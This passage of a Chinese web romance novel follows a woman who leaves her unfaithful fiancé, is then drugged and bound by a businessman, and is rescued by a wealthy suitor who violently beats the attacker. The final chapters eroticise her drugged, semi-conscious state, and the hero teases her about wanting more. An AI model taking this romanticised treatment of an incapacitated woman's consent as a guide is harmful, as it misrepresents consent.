钱老太太原本还是和善的样子,在听到付月华说的那些话后,脸色也阴沉了不少,看向曲荷的目光里带上了几分不满。
“小荷,我们已经做出来最大的让步,这孩子钱家得留下!”
老太太一句话,付月华立刻睁开眼,她得到了底气,说话声大了不少:
“曲荷,我也和你说句实话,原本像你这样的家世是配不上我们阿野的,但念着这几年你也帮了他不少,我们也破例让你进了家门。”
“再说说,阿野出轨能全赖他一个人吗?你要是争点气,他也不至于去找别人,还有了孩子。”
曲荷简直要被气笑了。
胸口堵得慌,一阵一阵的,难受极了。
“所以你们都认为钱昭野出轨是我的原因?而我还要感谢你们让我进了钱家大门,还得谢谢你们让我当这个接盘侠?”
她深深吐了口气,起身站稳,从包里拿出首饰盒放在桌上,“你们钱家这个‘皇位’还是找别人继承吧。”
她真的一刻都不想在这里待下去了。
整个钱家都是一丘之貉!
“曲荷,你要想清楚了!你今天走出去以后就别想进我们大门!”付月华已经不管不顾,那副精心维持的假面也维持不住了。
她彻底撕破脸:“你真以为除了我们阿野,还有谁会要你吗?在外人眼里,你现在就是一个二婚的破鞋!白送给别人都不要!”
曲荷站在客厅中央,指甲几乎要掐进掌心。
付月华诋毁的话还在继续输出。
七年了!她已经忍了七年了!她再也忍不下去,也不想忍了!
“啪!”
曲荷上前,一把抓起桌子上的青瓷杯摔了过去。
杯子在付月华脚边炸开,茶水溅到了她的裙摆上,吓得她当场尖叫起来。
“曲荷!你....你疯了是不是!”
疯?
好啊!那今天谁都别拦她!
第32章 打脸!钱家开撕(下)
“这才叫疯!”
曲荷把桌上的果盘点心一盘盘掀翻。
她一步步向她靠近,“还没结婚就出轨,钱昭野才是真破鞋吧?二手男人还自带出轨劈腿,白送我都嫌脏!”
“男人犯错天经地义,女人就活该忍气吞声?你这么护着你儿子,难不成偷吃劈腿是你们钱家的传统作风?你放心!我宁愿单身一辈子,也不会要一个管不住下半身的男人!”
付月华听得脸涨成了猪肝红,手指都快戳到曲荷脸上,“你....你...”
曲荷冷笑,一把打开她的手。
“你你你什么你!你越气,越骂我,越证明你儿子可怜!一把年纪了还得替你儿子擦屁股,你这妈当得真失败!”
她反手抓过一把瓜子,直接扬在付月华脸上:“你不是最喜欢嗑瓜子说闲话吗?磕啊!你有本事继续骂,把门打开让大家伙都进来听听,钱昭野出轨小三还有了孩子,看看说出去最后丢的是谁的脸!”
付月华被瓜子砸得睁不开眼,节节败退。
她抹掉脸上的瓜子,瞪着眼看着面前的人,从前曲荷在钱家只会忍气吞声,好像谁都能指使她一下,哪见过这样的时候?
可她憋了半天,却一个字都说不出来,“你....你没有教养!亏你父母还是老师,就教出你这样的女儿!”
“教养?”曲荷冷笑,“教养是留给值得尊重的人的。我父母教我明辨是非,礼义廉耻,不像你们,儿子出轨还觉得光宗耀祖!钱家的脸都被你们丢尽了!”
“你....”
付月华被气都捂着胸口在沙发上大喘气,旁边听下全程的钱老太太也气得不轻,拐杖砸得咚咚响,“反了!反了!”
“反的是你们!”
曲荷走向目瞪口呆的钱老太太,看着她手上握着的那串佛珠冷笑。
“老太太,我平时敬您,但现在我倒想问问您了。您念了一辈子经,还念出个这么缺德的孙子,这佛珠您还配戴吗?”
钱老太太被气得手抖得不行。
手上力道一松,佛珠落地。
线断。
佛珠噼里啪啦散落一地。
而钱家那虚伪的面具也应声而碎。
曲荷不想留在这里浪费时间,拎起包,转身就走。
刚走到门口,就看到钱昭野赶了过来。
他刚走到客厅就看到他的母亲头发上滑稽地沾着几颗瓜子,弯着腰在给他的奶奶拍胸口顺气。
地上一片狼藉。
沙发上是明显的茶渍,地上是散落一地的水果瓜仁,角落里是还在滚动弹跳的佛珠。
“曲荷....”
“钱昭野”曲荷甩了甩手,冷笑,“我们之间彻底结束了!”
七年憋屈,今天终于爽回来了!
门口拐角处,乔眠倚着栏杆,手掌有一下每一下摸着肚子。
看见曲荷出来,她立刻故作亲昵走上前。
“你别过来,站那别动!”曲荷冷眼一扫,往后退了一步,和她隔了五米远,“我怕你碰瓷。”
乔眠笑了笑停下脚步,嘴角勾起一抹无辜的弧度:“曲姐说笑了,我才不会干那些蠢事。”
她歪了下头,“只是有点意外罢了,我还是第一次见曲姐骂人的样子,挺新鲜的。原来曲姐骂人也这么厉害。”
曲荷平日里在公司对谁都和颜悦色,哪怕有时候有人犯了严重的错误,她也顶多说话语气重了一点罢了,哪里会像刚才听到的那样。
谁又能想到这样的人,今天会把钱家搅得天翻地覆。
看来,她平时藏得挺深啊!
不过骂得挺好,钱家这几个人,她早就看不爽很久了。
曲荷看着乔眠这张精致的脸,她今天穿的这件贴身连衣裙,把孕肚勾勒得更明显了几分,生怕别人不知道她怀着‘龙种’。
这几年她在钱昭野身边工作,在他的无形的PUA下,自己的性格被逐渐压抑。
可被压久了,到底就会反弹!
谁都不是好欺负的!
“听墙角听得挺开心?”曲荷冷冷说。
“诶呀,正好路过嘛。”乔眠捂嘴轻笑,指尖在肚子上画着小圈,“不过钱家人确实过分,我都替曲姐生气呢!”
虚伪!
她懒得多费口舌,扭头就走。
“曲姐!”乔眠叫住了她。
她垂眸,做出一副楚楚可怜的模样,“其实,我一直都很佩服你的,如果没有这个孩子.....”
“打住!”
曲荷回头,敛眸沉声:“钱家这坨烂泥你爱怎么搅和就怎么搅和,但别脏了我的路。”
说完她转身离开。
身后,乔眠默默站在原地看着她的背影消失,嘴角的笑也被冷意取代。
刚才她听到的可不止那些,钱老太太说的那些话可都听到了。
她摸了摸肚子。
去母留子?
哪有这么好的事?
尤其是在知道钱昭野还对曲荷旧情难忘,她怎么能坐以待毙。
良久,她拿出手机,翻出联系人,发了个消息给对面。
屏幕的冷光映着她扭曲的笑。
“曲姐啊曲姐,别怪我狠心...”她轻声呢喃。
只有让你身败名裂,才能断了钱昭野的念想。
翌日。
傍晚。
夕阳透过落地玻璃窗洒下一地金。
曲荷把昨晚在钱家的事情和司月简单说了下,气得司月叉腰在店里原地转了好几圈,齐耳的短发在空中飞扬,像只炸毛的兔子。
“渣男!渣男!渣男!”她都快气炸了,最后手指着大门,大喊,“谁稀罕啊!这么稀罕那个孩子,谁知道是不是他们钱家的!”
她跺着脚又补充了句:“我就祝愿钱昭野这个渣男,不孕不育,儿孙满堂!”
曲荷没想到从来乖巧,甚至和别人一样话就会脸红结巴的司月,还能说出这样的话。
她昨晚把七年的气出了,心情大好。
打算过几天回趟爸妈那里,把和钱昭野解除婚约的事说了。
正想着,就听到门口的铃铛响了。
第33章 吃醋了?
曲荷回头,看向大门。
门口站了两个男人,庄别宴不同往日,难得没有打领带,只是单穿着黑色衬衫,扣子依旧是扣到了最上方,鼻梁上架着副无框眼镜。
他的旁边还站在另外一个穿着蓝衬衫的桃花眼男人,两人往那一站,自带贵气和松弛感。
而他们正对面,就是单手叉腰站在门口的司月,她的手指在僵在半空,正对着两人中央。
前两天她给庄禧发了消息,上次做的陶瓷已经烧制好了,可以来取。
庄禧当时回她周六要去郊游,会让人来取,她本以为是庄家司机没想到是庄别宴。
他身边的桃花眼男人,双手举起做投降状往边上退了两步,话里带笑,“这是要给我指条明路?”
曲荷反应过来立刻冲上前抓着司月的手指拉了下来。
司月一脸懵。
曲荷在背后拍了拍她的手,摇头示意没关系。
她上前打招呼,“庄总。”
庄别宴微微颔首,抬了下手指向旁边人,“郁汕。”
这就是郁汕?
曲荷看向旁边的男人,
他的衬衫扣子随意解开了两颗,脖子上挂着一条红色条纹领带,下半身是红色阔腿西装裤。
不愧是郁膳房的老板!品味就是这么独树一帜。
“郁二少,久仰大名。您叫我曲荷就行。”她又指了指旁边,“她是司月。”
郁汕微挑眉,“我名气这么大?”
他说着轻轻撞了下庄别宴胳膊,轻声调侃,“看来你这庄家玉树的名号也一般般啊。”
庄别宴无视他的调侃,目光落在曲荷身上,“来帮庄禧拿东西。”
曲荷:“好的,小禧的陶瓷小碗已经好了,你们稍等一下,我去打包一下。”
说着她就拉着司月朝后走去,还没走两步就被郁汕叫住。
“曲老板,小庄禧有话让庄别宴传给你,我和司老板去拿东西就行。”
“啊?”
曲荷愣了一下。
郁汕不由分说已经推着一脸茫然的司月走向里间。
她引着庄别宴到会客区沙发坐下。
“曲荷。”
“嗯?”
两人之间隔了张小茶几,曲荷为了听清他的话,身子稍稍往前倾了些,耳后的碎发滑落到颈侧。
庄别宴的目光在那缕发丝上停留了片刻,又移到她的脸颊,他注意到今天她的唇彩颜色粉得像蜜桃。
“庄禧今天和她妈妈去天际湾露营,她托我问你有喜欢什么。”
“啊?”曲荷皱了下眉,“这事前两天我们连已经在微信上说过了呀。”
庄别宴面不改色,“可她忘了吧。”
他手指在膝盖上扣了两下,在看到她裙摆后话锋一转,“看来我没说错,这裙子确实很衬你。”
曲荷睫毛轻颤,礼貌笑了笑,“那也是庄总的眼光好。”
她今天穿的就是庄别宴上次送的裙子。
这条裙子一直被她放在车上,早上买早餐的时候沾了点油渍,只好换上,没想到正好碰上他来店里。
尤其是早上听司月说这条裙子还是D家刚出的限定款。
这么一想,曲荷越发觉得有些不好意思了,她想起上次在商场买的胸针,于是抬头看向她。
“庄总晚上有时间吗?”
“可以有。”
庄别宴双腿交叠,整个人往曲荷在的方向倾了几分。
曲荷不太理解这个‘可以有’的意思,被他模棱两可的态度弄得一愣。
“...上次说好请您吃饭...”
“可以。”
这次他回答的回答得很快,似乎早已等待多时。
“那等会叫上郁二少,他....”
“他没空。”
回答得斩钉截铁。
“他等会有事。”
话音刚落,郁汕拎着袋子走了出来,“庄老二,凌家小子刚才打电话让我们去....”
剩下半句话在庄别宴看过来的眼神里硬生生咽回了肚子里。
三双眼睛面面相觑。
郁汕的视线在两人之间转了好几个来回,恍然大悟!
他干咳了两声,正准备开口,就听到曲荷的手机铃声响了。
“不好意思,我先去接个电话。”曲荷歉意地笑笑,边接通电话往后面走。
庄别宴目光追随她离开,放在膝盖上的不自觉收紧。
没听错的话,刚才电话里传来的男声,应该是钱昭野。
郁汕凑过来,压低声音:“吃醋了?”
“多事。”
曲荷看着是个不认识的号码才接,没想到电话里居然又是钱昭野。
原本已经准备挂断,可他的一句话让她停下了动作。
钱昭野的声音带着几分刻意的从容:“曲荷,取消婚约的事我可以同意,但我有要求。”
曲荷冷笑:“条件?需要我提醒你一下,取消婚约是我对你的通知,并不需要征求你的意见吗?”
电话那头钱昭野的呼吸粗了几分,像是在极力忍耐什么,片刻后他的声音传来,带着几分刻意的温柔:
“七年感情,哪有你说的那么容易,说断就断?订婚戒指、婚礼场地这些都需要协商处理,还有...婚房有一半的所有权在你那里。”
曲荷沉默了一下。
当初钱昭野把她的名字写在婚房上的时候,她为了不让钱家人说闲话,承包了所有装修费用。
现在想想,那真是个笑话。
“你想怎么办?”她问。
“今天晚上我们见个面谈一下。”
“今晚?”
曲荷下意识看向外面的会客区,货架排列缝隙间,还能看到庄别宴的身影。
“怎么了?你有事?”
曲荷没有回答。
“我明天要去新加坡出差,一个星期才后回来。如果你今晚不来,那这些事就得拖到一周后了。”
曲荷咬了下唇。
她不想再和钱昭野有任何纠缠和瓜葛,但这些未了的事情的确需要今早解决。
“好。”她妥协,“地址你发我短信。”
“行。”
“嗯。”
挂断电话,曲荷松开唇瓣,深深突出一口气。
她走到外面,正想着怎么开口,郁汕就走了上来,他摸了把鼻子。
“曲老板,那什么我晚上确实有事,约了人去马场来着,刚才忘了,最近记忆里是有些差。”
他随意摆了摆手,“你和庄老二去吃饭就行,我有事,不用叫我!”
曲荷被他这么一说更不好意思了,尴尬扯了下嘴角,目光不自觉看向庄别宴。
“是有什么事情吗?”庄别宴突然开口,声音低沉。
他盯着被她咬得通红的唇瓣,上面还有一排浅浅的齿痕,不自觉蹙了下眉。
曲荷绞了下手指,“抱歉,庄总,晚上我临时有点事,吃饭...”
“可以。”他的回答依旧很干脆,“改天再约。”
曲荷看着他同意得这么干脆,心里的愧疚更多了几分。她有些不自觉想解释点什么,但不知从何说起,最终只是轻声道谢。
“谢谢。”
她心里默默发誓,下次一定要请庄别宴吃顿好的!
两人就这么约好下次,旁边的郁汕看得一头雾水。
迈巴赫内,气压低得骇人。
第34章 你想当小三?
郁汕偷瞄了眼旁边一脸阴郁的男人,心里砸吧了一下。
“喂!我刚才可是按照你教我的说了,人家曲荷妹妹临时有事,怪不上我吧。要我说,你直接冲上去和她求婚算了,她肯定感动得要死!”
一上车就一声不发的庄别宴终于开口,声音沙哑:“她有未婚夫。”
“那又如何,只是个....未婚夫!!!!??”
郁汕猛地转头,一脸震惊:“庄老二!你你你....你想当小三...?”
“闭嘴。”
“这是不道德的,作为你未来的姐夫我必须制止你。”
换做以往,庄别宴听到姐夫两个字就一定会把郁汕赶下车,可现在他眼前浮现的都是刚才曲荷接电话的样子。
她的犹豫,她的纠结..
为了钱昭野拒绝他。
即使亲眼看到了那段视频,即使知道那个男人出轨,她依然选择回到他身边?
.....
昭野科技。
总裁办公室。
钱昭野一挂断电话,等在旁边的乔眠就走上前坐在了他的大腿上,两手环住他的脖子。
“她答应了?我就知道你一定有办法。”
“嗯。”钱昭野拉开她的手。
乔眠微微低头趴在他的胸口,指尖在他胸前转圈圈,声音甜得发腻:“只是让曲姐吃顿饭而已,那个方总可是加了三个点呢。”
钱昭野紧紧握着手机,“你确定只要曲荷过去,这合同就能签下?”
乔眠抬起头,在他唇边落下一吻,“当然啦。当时方总的出价可以万总高了不少,但曲姐却选择了万总,你说她不是故意的是什么?人家方总这次不计前嫌又选择了我们,条件就是想和曲姐面谈而已。”
“再说了,你以为我想让曲荷过去吗?这不是还得欠她一个人情,如果不是对方要求,我肯定自己就去了。”
“你最好说到做到。”
乔眠敛眸看着自己的小腹,眼神闪过一丝阴狠:“放心,我都安排好了..”
钱昭野没说什么,只是目视前方。
潜意识告诉他不应该打出刚才那个电话,可.....
他攥着发白的指节。
阿荷,你帮了我那么多次,就再帮我一次吧。
夕阳掉下地平线。
这一刻,所有人的命运在悄悄发生转动。
曲荷按照钱昭野发来的地址开车到了尊悦。
这不是她第一次来。
之前钱昭野应酬的时候,她陪着来过好几次,但基本在三楼,可这次钱昭野发来的包间却是在四楼。
她跟着侍应生到了包间门口,“钱先生订的包间就是这里。”
曲荷微微颔首,推门而入。
空无一人。
不知为何,从进了这个包间开始,曲荷就觉得又闷又热,可明明冷气已经开得很足,但她却没有感到一丝凉意。
距离两人约定的时间已经过了十分钟。
他还是这么不守时。
曲荷拿起茶杯喝了口水,茉莉花茶带着几分说不清的甜腻。她皱了下眉,刚放下杯子就感觉一阵眩晕。
不对劲!
她拿出出手机,像打电话,可没过多久手指就开始发麻,手机‘啪嗒’一声掉落在地。
她想起身四肢也软的不像话,甚至呼吸都不顺了。
有问题!
曲荷摇了摇昏昏沉沉的脑袋,弯腰想去拿地上的手机,可还没等她反应过来,包间门缓缓打开。
她懵懵抬头,眼前却一片模糊。
“你...”曲荷的嘴唇颤抖着,想说话,喉咙却像被火灼烧一般,发不出完整的声音。
最后的意识里,只能看到那个模糊的轮廓蹲下身....
尊悦五楼。
玻璃杯中的威士忌冰块融化了一半。
庄别宴坐在沙发上,点开手机又熄屏,这个动作重复了好几遍。
“真的不来一口?”郁汕拿着酒凑过来,却被他冰冷的眼神劝退。
正想说些什么,包间门被推开了。
凌霍敞着西装进来,他抄起桌上的威士忌喝了两口,然后在笔直在沙发上躺尸。
郁汕上前踢了他两脚,“你这衣服都皱成什么样了?当贼去了?”
凌霍翘着二郎腿,“当什么贼,英雄救美去了,只不过没成功。”
“呦!”郁汕挑了下眉,一脸看戏,“我们家小凌长本事了,还会英雄救美!”
凌霍一个鲤鱼打挺坐直,扯松领带,“刚才在楼下就看到方乾名搂着个小姑娘出来,我也就看着那姑娘身上的衣服眼熟才多看了两眼,丫谁知道那姑娘往我这扑过来了。”
“然后呢?”
“我以为他逼小姑娘干什么事呢,差点和他干起来。可他说那姑娘是她女朋友,那人家你情我愿的事,我上去干啥,总而言之闹了个乌龙呗。”
郁汕不以为意,喝了口酒,“方乾名三天两头换女朋友,别说你了,他自己隔天都不一定认识昨天那个是谁。”
凌霍抖了抖腿,“也是。不过方乾名这次也是下血本了,那姑娘身上的裙子可是D家才出的限定款,我妈昨天念着想买来着,没想到被他买走了...”
他耸了耸肩,“白激动一场,可怜我一身拳脚无处伸展啊!”
沙发上,庄别宴手指不自觉收紧,“那裙子什么颜色?”
凌霍挠头,“白色吧,还是粉色...灯光太暗....”
话还没说完,他就感觉领口一紧。
“啊啊咳咳,庄哥,你拽我脖子干嘛,我快喘不过气了!!!”凌霍感觉自己被扼住了命运的咽喉。
庄别宴不知什么时候到了他这边,单手拎着他的领口。
凌霍拼命拍着他的手。
“她在哪?”庄别宴声音沉得吓人。
“谁啊,救...命...”
郁汕听到庄别宴的话,瞬间反应过来,“老二,先去调监控!”
庄别宴松开手,凌霍捂着脖子大口喘息。
他从来没见过这样的庄别宴,这还是那个北城人口中端方如玉的庄家玉树吗?
郁汕手指在屏幕上飞舞着,“方乾名车往地下车库开走了。”
几乎是在听到的一瞬间,庄别宴已经转身冲向门口,速度快到踢翻了好几个酒瓶。
郁汕急忙追上去拽他的手:“老二!冷静点!万一不是...”
庄别宴甩开他的手,声音低得几乎听不见,“如果是她...”
后半句话几乎消散在空中。
郁汕愣在原地,他说不出一句话。
因为他看见庄别宴的手在发抖。
那个永远从容的庄家玉树,此刻按电梯的手指都在颤抖。
第35章 危急时刻,他来了!
酒店套房里,浓重的烟味混杂着刺鼻的酒精。
方乾名翘着二郎腿坐在沙发上,指间夹着烟,猩红一点明明灭灭。
他的手背上胡乱贴着一张创口贴,胶边没粘牢,从翘起来的边缘缝能看到里头是一道新鲜的牙齿印,还在往外渗着血珠。
他身上的衬衫扣子解到了胸口,裤子皮带不知所踪,裤腰松垮垮挂在腰间。
手上猩红一点到头,他随意往地毯上一弹,火星溅落处立刻被烫出个小黑。
方乾名半眯了下眼,目光落在正对面的大床上。
曲荷被皮带绑住双手,眼睛蒙着黑布,呼吸急促且紊乱,灯光下她的肌肤泛着几分不正常的潮红,床脚边那支空的注射器反射出冷光。
方乾名舔了舔嘴唇,喉咙发紧。
从见到曲荷的第一眼开始,方乾名就在想着这天了。
明明穿着最古板老套的黑色职业装,但那双眼睛里的清冷却始终勾着他的心。
禁欲皮囊下藏着的诱惑比那些主动扑上来的强多了。
只可惜当时她选了万氏集团合作,让他失了机会。
这让他心痒了好些日子,但这不是又送上门来了...
方乾名顶了顶后槽牙,脱掉上衣裤子,起身一步步走向床边。
地毯很厚,他的脚步声几乎听不见,可曲荷却依旧感觉到了有一股恶心的气息在逐渐靠近,她整个人抖了一下。
绑在手腕上的皮带勒得她生疼,皮肤已经磨破皮,可这点疼却压不过身体内逐渐翻涌的热浪。
她无比清晰地知道,自己的理智在逐渐被蚕食,只能靠着咬破舌头的血腥味才能让她勉强保持最后一丝清醒。
床垫陷下去一块,一双带着烟味的手逐渐靠近,然后猛地扯掉了她眼睛上的黑带。
突如其来的光线让曲荷瞳孔骤缩,视线里的一切都在摇晃,最后聚焦在方乾名贪婪的脸上。
“曲小姐,现在冷静下来了吗?”他手指恶意地在脸颊上摩挲。
方乾名单手掐着她的下巴,用力一抬,“还记得我吗?”
曲荷眼神迷离,身上热得厉害,但仍在挣扎,舌尖已经被咬出血,满口血腥味。
“..别碰...我.”她的声音微弱,却带着几分倔强。
方乾名笑了,“性子还挺倔,打了一针还能忍这么久?”
他啧啧两声,把她手腕上的皮带又往里扣了两格,金属扣落下,曲荷被勒得闷哼出声,眼眶瞬间红了,生理性的泪水不争气流了下来。
方乾名掐着下巴的手力道重了几分,“但我就喜欢倔的,驯服起来才够味。”
说着他的手已经往下摸到了她裙子上的拉链。
可刹那间,房间内的灯全灭了。
几乎是在同时,房间门被一股大力踹开,门板撞在墙上发出剧烈响声,几道黑影迅速冲了进来。
还没等他反应过来,就被不知名力量掐着脖子扔到了门后角落里,后背撞上墙,疼得他眼前发黑。
“妈的,你们是谁?”
他捂着后背骂骂咧咧,试图起来。
“你们是谁!谁让你们进来的?知道我是谁吗?知道我爸是谁吗?敢动我?我....”
话还没说话,又被按住脑袋狠狠砸向地板,脸被狠狠砸在地板上,满嘴血味“唔...唔..嗯...”
他嘴里只能发出几个模糊不清的音,剩下的话全变成了混乱的呜咽。
黑暗中,一个欣长的身影居高临下俯视着他,尽管来人一言不发,甚至没有多余的动作,可方乾名依旧感觉到了他身上散发的冷厉。
莫名骇人!
“啪嗒。”
灯光亮起。
方乾名眼睛刚才磕到已经肿了,再加上突然亮起的灯光,刺得他眼睛生疼。
等再次睁眼,就对上了庄别宴眼里冷厉的寒意。
他声音都抖了:“庄...庄别宴..你怎么会在这里!”
他从没见过这样的庄别宴,黑色衬衫被他挽到小臂,露出了冷硬的手腕。
他低垂着眼,像是在看一个**,目光在落到他只剩一条内裤的下半身后,眼底瞬间涌起了狠意。
他长腿一踢,皮鞋尖戳到了方乾名脸上,几乎只差几毫米就能戳进他眼珠里。
“啊!”
方乾名刚尖叫一声,庄别宴的脚已经踩了下来,皮鞋底碾过他的脸,像是要把骨头都碾碎。
“救命..慌凯.放开..窝..”他想挣扎,可双腿和两手都被死死按着,动弹不得。
庄别宴心里的怒火逐渐攀升,脚下的力道也不断变大,脚底下的脸逐渐扭曲变形。
“老二,先救人。”郁汕匆
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忙赶到,见情况不对赶紧阻止。
他是真怕庄老二一个没控制真把人弄了。
庄别宴脚下力道顿了顿,眼底的猩红褪下几分,他最后碾了一下,才收回脚转身走向里间大床。
方乾名瘫软在地上,脸被鲜血模糊到已经看不清无关,活脱脱像条濒死的狗。
庄别宴已经大步走向床边,几乎每走一步心跳就颤得厉害,连他自己都没发觉手抖得不行。
在看清床上的人后,瞳孔猛地缩了下。
曲荷头发凌乱地躺在床上,身上的裙子已经落到了肩膀,露出了翻着不正常红的肌肤,迷离的眼睛此刻满是泪水,顺着眼角滑落到了床单上。
在看到她手腕上绑着的皮带后,庄别宴的眸色又深了一个度。
郁汕跟在后头进来,在看到这一幕后赶紧闭眼转头。
庄别宴上一步步靠近床边,轻声叫她的名字。
“曲荷。”
“唔..不要...走开...”
刚碰到她的手,曲荷就开始挣扎起来。
每一个字都像一把刀扎进了庄别宴心里。
他只能单手控制住她,用单手帮她解开手上的皮带。
皮带绑的时候缠了好几圈,绑得死紧,再加上用了好大劲,在曲荷手腕上留下了深深的红印。
每解开一圈,在看到底下更深的勒痕后,他的手就抖得更厉害。
曲荷显然神志已经不清了,可身体本能却还是条件反射抗拒。
“唔...不要...走开..”
她的眼泪流得更凶了,双手得到解放后更是胡乱挥着,一下下打在庄别宴的手上。
力道不大,却疼得他呼吸都滞了半拍,心被狠狠揪了一下。
庄别宴迅速扯过旁边的被子,裹住了她乱动的身子,然后弯腰小心翼翼把她打横抱起。
“别怕,我在。”
他低头贴在她耳边,声音轻到了极致。
曲荷在怀里很不安分,扭动着身体想挣脱,拳头一下下砸在他胸前,他硬生生扛下了她好几下重击,抱着她就往外走。
可刚走到床尾,在看到床脚边的注射器后,脚步一愣。
浑身的血液在这一刻凝固,他的手几乎软了一下。
他声音冷得像冰,看向蜷在门口的方乾名,一字一顿问:“你给她打了什么!”
第36章 想要?
一句话惊得方乾名抖了三抖。
郁汕听到后猛地回头,在看到地上的东西后,脸色骤变。
他大步上前把方乾名踹到了墙角。
方乾名撞在墙上身子滑下来,还没落地又被郁汕掐着脖子拎了起来。
“你丫的...真不要命了?”郁汕的声音带着狠戾,手上的力道不断变大。
“没有,没有,没有!”方乾名拼命摇头,他吐着舌头寻求最后一丝空气,“只..只是镇定剂!真的只是镇定剂!”
方乾名浑身止不住战栗,求生欲到达了顶峰。
听到他的话,在场两人松了口气。
庄别宴紧绷的背终于松了下来,可那股名为后怕的情绪却始终还未散去。
还好,还好..
曲荷被被子包成一团热的难受,在他怀里不安的扭动挣扎,嘴里发出了细微的呜咽声。
庄别宴见状不敢停留,往外走去。
他给郁汕使了个眼色。
郁汕了然点头,“这层楼已经清了,这交给我。”
他看着怀里的曲荷,皱了下眉,“估计吃脏东西了,你....”
“让人送药过来。”庄别宴留下这句话,很快消失在走廊尽头,
门关上瞬间,郁汕脸上的表情彻底冷了下来。
他慢条斯理解开袖口,朝门口的保镖抬了抬下巴。
“脱光了扔回方家大院。”
他的声音带着几分毛骨悚然的平静。“看着他们,没三天不能带回去家,顺道把照片寄到顾聿那里。”
“是!”
方乾名原本哆嗦的身子在听到‘顾聿’这两个字后,像条狗一样爬到了郁汕脚下,卑微乞求,“郁汕,我求你,别告诉我大哥!我给你磕头,我求你了!”
他头重重撞在地板上,发出响声。
额头已经发红肿了一块,再加上他脸上青一块紫一块的淤青,显得整个人滑稽又可怜。
郁汕一脚把他踹开,鞋尖抵着他的下巴,微微俯身,“现在知道怕了?”
“不要,不能让大哥知道...”他两手捧着郁汕的鞋,摇尾乞怜,“郁汕,看在我们从小认识的份上....”
“呵。”郁汕嗤笑,“你应该庆幸今天是庄老二先找到你,如果是顾聿...”
方乾名浑身剧烈颤抖了起来,内裤头湿了一块。
郁汕嫌恶的收回脚,转身离开。
走廊里回荡着方乾名的撕心裂肺的哭喊求救声,但很快就消失了...
庄别宴抱着曲荷走向最里间的套房。
曲荷身上的被子已经被她几乎全扯开,拖到了地上,只剩下一角挂在脚踝。
她浑身烫得不行,甚至开始扯自己的裙子。
“唔..热...”
她的裙子领口被抓得皱巴巴的,庄别宴到后来只能把她扛在肩上。
回了酒店,刚把她放在床上,曲荷就哭着喊了起来,“好热...”
她的意识昏沉,睫毛湿漉漉挂着泪珠,皱着眉扯着早已凌乱不堪的裙子。
庄别宴去接个水的功夫,就听到身后传来了布料被撕裂的轻响。
回来就看到她已经扯坏了裙子侧边领口,肩头彻底露了出来,她听声抬头,雾蒙蒙的眼睛看了过来。
庄别宴呼吸滞了半刻,声音带着几分紧绷,“阿荷,先喝点水。”
他拿着直饮水上前,轻轻抓着她的手,扶着她的身子靠在自己怀里,把杯子递到她唇边。
曲荷眼下哪里管得着这些,只想往凉快的地方贴着,可偏偏双手被禁锢,她只能半眯着眼用下巴摸索着。
她全然不知现在的模样有多诱惑。
乌黑的头发散成一团铺在庄别宴胸前,她抬着下巴像只小猫一样在他的脖颈间蹭来蹭去,蜜桃色的唇瓣时不时擦过下颌。
庄别宴呼吸紧了紧,“阿荷,乖,先喝水。”
他带着几分如沐春风的味道。
曲荷动作停了片刻,嘴边突然碰上一个冰冰凉凉的东西,唇瓣被湿润了。
“先喝水好不好,嗯?”
这个‘嗯’字带着上扬的尾音,让曲荷安静了下来,她仰起头看着他,脑袋懵懵的,靠着本能小口小口喝着杯子里的水。
温凉的水滑过喉咙,清凉补充进来,身上的超热暂时褪去了几分,她像是找到了解药般伸出舌尖想求更多。
一杯水很快见底,曲荷不满地晃了晃脑袋,最后一口水从杯沿顺着她的下巴从领口滑了下去。
曲荷难受地扭了下身子。
庄别宴把见底的水杯放在一边,大手搂着她,下巴抵在她头顶,轻声安抚,“阿荷听话,药马上就到了。”
曲荷本就不舒服,也不知道是哪句话刺激到了她,整个人开始炸毛,在怀里扭来扭去。
“我不要,我一点都不听话,我要脱衣服...”
可话还没说完,又被庄别宴按回怀里。
他的手掌有一下没一下摸着她的后背,微凉的手心让
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她安分了不少。
庄别宴低头,鼻尖几乎碰到她的下巴,像在哄孩子般:“脱了衣服会生病。听话。”
曲荷忽然安静下来,抬头看着他。
昏黄的床头灯下,庄别宴的轮廓柔和得不像话,薄唇微抿,尤其那双琥珀色的瞳孔,像是带着某种魔力一般,让她着了迷。
“你真好看。”
曲荷像是寻到了什么宝藏,在庄别宴脸上胡乱摸了一通。
从眉骨到唇角,带着滚烫的温度,可他却没躲,只是低头看着她,深不见底的眼底像装了潭**。
曲荷忽然倾身,在他唇上碰了下。
很轻。
庄别宴想到了停留在后院德国鸢尾上的蝴蝶。
但很快,蝴蝶落了下又飞走了。
不过,蝴蝶好像找到了乐趣,想再次停留,可花朵却害羞了。
曲荷这次凑上来的时候,被庄别宴偏头躲开。
他琥珀色的瞳孔底逐渐涌起几分意味不明的情绪。
果然,是蜜桃的味道。
“嗯?”
曲·小蝴蝶·荷有些不满,追着他的唇瓣蹭来蹭去,顺道还抓着他的手按在自己滚烫的脸颊上。
庄别宴一动不动,像是个优雅的绅士仍由采撷,只有剧烈跳动的心脏在提醒着他这一刻是真实的。
“你好凉。”
曲荷不知什么时候转了个身,坐在了他怀里,脑袋埋在他脖颈间有一下没一下蹭着,还时不时吐出舌尖。
当脖颈间那块软肉被咬了下后,庄别宴呼吸一窒,圈着她腰的手下意识紧了些。
“痛。”曲荷不满地哼唧了声。
“阿荷,下来。”庄别宴声音低沉得要命。
明明冷气已经开到了最低,可房间内的温度却在逐步攀升。
两人的温度不断升高。
曲荷在他耳边小喘着气,“你身上好凉,好舒服,我好喜欢你。”
庄别宴把她拉开了些,垂眸看着眼前人,白皙的小脸泛着不正常的红。
哪怕知道她意识不清醒,但在听到那句后还是忍不住悸动,他最后无奈叹了声气。
曲荷好不容易得到的‘冰块’,突然一下就消失了。
她整个人空虚的难受,伸出手抱着男人的肩膀,她渴望更多,可无论她怎么做,却始终得不到回应。
彻底炸毛!
而就在这时,庄别宴突然扣住了她的后颈往怀里按了按,声音低沉地发哑:“想要?”
第37章 乖!
曲荷被他问得愣了一下,懵懵点头。
庄别宴浅浅一笑,单手圈着她的腰,另一只手的指腹轻轻摸索着她唇瓣,带着几分意味不明的蛊惑,“想要什么?”
曲荷明明意识不清,却在听到这句话后脸更红了。
她说不出来,就感觉整个人都很难受。
“不知道....”她委屈地蹭着他的脖颈。
隔着薄薄的布料,庄别宴能感受了两人剧烈的心跳。
他低下头,似无奈叹气,“那怎么办呢?”
温热的气息拂过她耳廓,惹得曲荷瑟缩地抖了下。
